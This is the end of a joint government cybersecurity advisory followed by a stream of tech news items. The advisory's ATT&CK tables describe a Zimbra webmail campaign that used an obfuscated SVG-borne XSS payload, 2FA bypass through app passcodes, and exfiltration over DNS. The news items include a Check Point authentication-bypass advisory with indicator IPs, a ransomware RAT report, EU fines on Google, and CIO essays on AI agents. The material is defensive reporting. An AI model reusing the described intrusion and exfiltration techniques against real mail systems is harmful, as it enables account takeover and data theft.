Cybersecurity and Infrastructure Security Agency 
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
Federal Bureau of Investigation 
If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
Defense Counterintelligence and Security Agency  
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
Department of Defense Cyber Crime Center  
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
Media Inquiries / Press Desk: DC3.Information@us.af.mil 
Naval Criminal Investigative Service 
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid  
General Intelligence and Security Service (AIVD): https://www.aivd.nl 

Australian organizations 

Australian Signals Directorate 
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz 

United Kingdom organizations 

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7) 

Estonia organizations 

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee 

Finnish organizations 

Finnish Security and Intelligence Service: supo.fi/en/contact 

French organizations 

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Italian External Intelligence and Security Agency (AISE):  
Visit https://www.sicurezzanazionale.gov.it/  
Italian Internal Intelligence and Security Agency (AISI):  
Visit https://www.sicurezzanazionale.gov.it/ 


Moldovan organizations 



Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 


Polish organizations 

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl



Appendix A: MITRE ATT&CK tactics and techniques
See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.



Table 9: Reconnaissance 





Technique Title 






ID 






Use 










Gather Victim Identity Information: Credentials 






T1589.001 






The payload attempts to intercept a victim’s password from their password manager. 








Gather Victim Identity Information: Email Addresses 






T1589.002 






The payload attempts to grab the victim’s email address from various data stores. 








Search Open Websites/Domains 






T1593 






This group likely leverages public information to support target development. 








Active Scanning 






T1595 






Port scanning can be used by this group to assist with determining exploitability of identified targets. 








Search Open Technical Databases: Scan Databases 






T1596.005 






Various public datasets can provide information to support discovery of exploitable targets. 








Search Closed Sources 






T1597 






Previously exfiltrated data can be used to enhance target development efforts. 








Search Closed Sources: Purchase Technical Data 






T1597.002 






Commercial datasets can also be used to support target development efforts. 












Table 10: Resource Development 





Technique Title 






ID 






Use 










Acquire Infrastructure 






T1583 






This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 








Acquire Infrastructure: Virtual Private Server 






T1583.003 






This group procured VPS servers from a variety of vendors. 








Develop Capabilities 






T1587 






The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 








Develop Capabilities: Malware 






T1587.001 






Development of a novel payload that steals a victim’s emails and other sensitive account information. 








Develop Capabilities: Exploits 






T1587.004 






Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 








Obtain Capabilities: Tool 






T1588.002 






Open source tools, such as Evilginx2, have also been used by the group. 








Obtain Capabilities: Artificial Intelligence 






T1588.007 






The group appears to have leveraged AI to support development efforts. 








Stage Capabilities 






T1608 






Flowerbed is deployed to a procured server in the cloud. 












Table 11: Initial Access 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  








Trusted Relationship 






T1199 






The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  








Phishing 






T1566 






The actors used spear phishing to lure users into opening malicious email. 












Table 12: Execution 





Technique Title 






ID 






Use 










Exploitation for Client Execution 






T1203 






An XSS vulnerability was leveraged to execute the JavaScript payload. 












Table 13: Persistence 





Technique Title 






ID 






Use 










Account Manipulation 






T1098 






Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 








Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 












Table 14: Privilege Escalation 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  












Table 15: Stealth 





Technique Title 






ID 






Use 










Obfuscated Files or Information: Command Obfuscation 






T1027.010 






Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 








Obfuscated Files or Information: Encrypted/Encoded File 






T1027.013 






The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 








Obfuscated Files or Information: SVG Smuggling 






T1027.017 






The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 








Use Alternate Authentication Material: Web Session Cookie 






T1550.004 






Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 












Table 16: Credential Access 





Technique Title 






ID 






Use 










Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 








Adversary-in-the-Middle 






T1557 






Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 












Table 17: Collection 





Technique Title 






ID 






Use 










Data Staged: Remote Data Staging 






T1074.002 






Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 








Email Collection 






T1114 






This group has emphasized collection of emails. 








Email Collection: Remote Email Collection 






T1114.002 






Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 








Automated Collection 






T1119 






Upon execution, the JavaScript payload automatically collects all relevant information in stages. 








Browser Session Hijacking 






T1185 






The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 








Archive Collected Data 






T1560 






Emails are exfiltrated with GZIP compression. 












Table 18: Discovery 





Technique Title 






ID 






Use 










Account Discovery 






T1087 






Stolen Global Access Lists provide the group with new users to target. 












Table 19: Exfiltration 





Technique Title 






ID 






Use 










Exfiltration Over Alternative Protocol 






T1048 






Victim information was exfiltrated over both HTTPS and DNS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 






T1048.002 






Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 






T1048.003 






Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 








Appendix B: MITRE D3FEND countermeasures 
See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. 



Table 20: MITRE D3FEND Countermeasures 





Countermeasure Title 






ID 






Description 










Application Hardening 






D3-AH 







Organizations should immediately prioritize patching CVE-2025-66376.  
Organizations should promptly apply software updates to all email systems. 









Isolate 






d3f:Isolate 






Organizations that cannot feasibly patch should use alternative mail clients. 








Credential Hardening 






D3-CH 






Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 








Network Traffic Analysis 






D3-NTA 






Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 








DNS Traffic Analysis 






D3-DNSTA 






Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 








Network Traffic Community Deviation 






D3-NTCD 







Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 









Identifier Activity Analysis 






D3-IAA 






Organizations should search for the listed known IOCs. 








Process Analysis 






D3-PA 







Organizations should search ZCS log files for specific commands used by the malicious script. 
Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 






Message Analysis
D3-MA
Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.







Google Hit With $1 Billion Fine By EU Over Search Engine Practices
Thu, 23 Jul 2026 16:34:29 +0200
At a tense moment for trans-Atlantic trade, the European Union accused Google of anti-competitive business practices.


Ford picks Apple Maps for its next EV platform and updated BlueCruise
Thu, 23 Jul 2026 15:56:28 +0200
Ford plans to embed Apple Maps directly into its Universal Electric Vehicle Platform, which will start with a $30,000 midsize pickup truck set for release in 2027. In an announcement on Thursday, Ford says it will use Apple Maps to offer "turn-by-turn directions using natural language, real-time traffic and incident information, intuitive search featuring detailed […]


PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮
Thu, 23 Jul 2026 15:21:48 +0200
Author: Shannon Morse - Bewertung: 8x - Views:41 
⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.



I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.



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00:42 What Does a Power Supply Do?

02:04 Why This Build Uses a 1000W PSU

03:12 Fully Modular Power Supplies Explained 

04:10 Identifying Every Power Cable

05:16 Installing the PSU

06:42 Subscribe & Patreon Shoutout

07:33 Connecting the 24-Pin Motherboard Cable

08:36 CPU Power Connectors

09:53 Cable Routing Tips

11:02 SATA Power & Accessories

11:54 Cable Management Basics

13:07 Next Episode Preview





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CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild
Thu, 23 Jul 2026 14:42:23 +0200
Overview
On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.
Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.
The advisory addresses three vulnerabilities in total:
CVE CVSS Description Affected Products Exploitation Status
CVE-2026-16232 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Authentication bypass via SmartConsole application token Security Management, Multi-Domain Management Exploited in the wild
CVE-2026-62144 Vendor: 9.3 (Critical)
CISA: 9.1 (Critical) Management authentication bypass and privilege escalation Security Management, Multi-Domain Management No known exploitation
CVE-2026-62145 7.5 (High) Local privilege escalation in GaiaOS WebUI Firewall, Multi-Domain Management, Multi-Domain Log Server No known exploitation
Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.
Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.
Mitigation guidance
Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.
The following versions are affected by CVE-2026-16232:
R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified
CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.
Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:
Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled
These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.
Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.
Indicators of compromise
Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137
Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.
Updates
July 23, 2026: Initial publication.


EU fines Google $1 billion for search, app store antitrust violations
Thu, 23 Jul 2026 14:42:16 +0200
The European Commission fined Google €890 million ($1 billion) on Thursday after finding the company had violated the European Union's Digital Markets Act (DMA), which ensures fair online competition. [...]


EU fines Google €890m over search and app store practices
Thu, 23 Jul 2026 14:34:52 +0200
'The best products should succeed because they're better, not because they're owned by the company running the search engine,' said the EU's Teresa Ribera on today's decisions.
Read more: EU fines Google €890m over search and app store practices


Europe hits Google with $1 billion fine for boxing-out rivals
Thu, 23 Jul 2026 13:34:10 +0200
Europe has hit Google with a $1 billion fine for illegally abusing its search engine dominance.


hacking for beginners (or something like that) - YouTube
Thu, 23 Jul 2026 13:34:02 +0200
hacking for beginners (or something like that). @ZockenMitWaitWhat2 likes342 views2 hours ago more. Subscribe. Comments. Comment.


Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process
Thu, 23 Jul 2026 13:15:11 +0200
Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the…
Read more →
The post Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process appeared first on IT Security News.


Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process
Thu, 23 Jul 2026 13:02:28 +0200
Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a debugging interface built into both browsers. The browser then carries the command-and-control traffic over a WebRTC channel. Once installed, the RAT process keeps all of … More →
The post Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process appeared first on Help Net Security.


EU fines Google €890m for competition breaches over search and apps
Thu, 23 Jul 2026 12:53:23 +0200
Firm told to treat third-party services that appear in its results in ‘fair and non-discriminatory manner’
Google has been fined a total of €890m (£760m) by the EU for breaches of online competition laws by its search and app store services.
The European Commission, the EU’s executive arm, said Google had broken the Digital Markets Act by giving priority to its own services such as shopping and hotel deals in search results over those of its rivals.
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Google hit with $1 billion fine for breaking EU antitrust rules
Thu, 23 Jul 2026 12:53:04 +0200
The European Union has fined Google's parent company Alphabet €890 million (about $1 billion) for two separate violations of the bloc's Digital Markets Act (DMA). One penalty is for giving its own products preferential treatment in search results, while the other is for blocking Android developers from sending users to alternate payment options. A €460 […]


Smaller, smarter, safer: How to build agentic AI on the right foundation
Thu, 23 Jul 2026 12:04:43 +0200

		
					  
						




When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.



“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.



Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:




Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.



Smarter: The system around the model decides more than the model does.



Safer: Verify at the point a mistake gets locked in, not just downstream of it.




He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.



To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.



“The intelligence moves from the model into the architecture around it,” he said.



A steep learning curve



One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.



“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”



In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.



Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.



“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.



Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.



“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”



The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.



“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.



Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.



Routing



Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.



Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.



“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”



Harness



An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.



“It’s the process around the model, which matters way more than the model itself,” Thakrar said.



In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.



For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.



Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.



“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”



But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.



Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.



Specialization



Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.



Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.



“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”



Principles every enterprise must test before the attack arrives
Thu, 23 Jul 2026 12:04:32 +0200

		
					  
						




I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”



This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.



As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:



Recovery is not just a technical exercise



The first assumption to break during a real crisis is the belief that recovery is purely technical.



Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.



The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.



Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.



True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.



Most business continuity plans ignore ‘total blackout’



I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.



Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.



This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.



That is the level of clarity leaders need.



The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.



The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.



If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.



Threat intelligence must be actionable, not archived



Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.



If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.



Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.



Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.



Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.



Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



AI success requires a full-stack CIO
Thu, 23 Jul 2026 11:43:10 +0200

		
					  
						




Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.



After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.



Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.



I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.



Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.



While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.



That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.



Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.



The full-stack CIO: Leading with clarity



A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.



The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.



And those who execute best lead with clarity, Talasaz says.



“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”



One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.



As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.



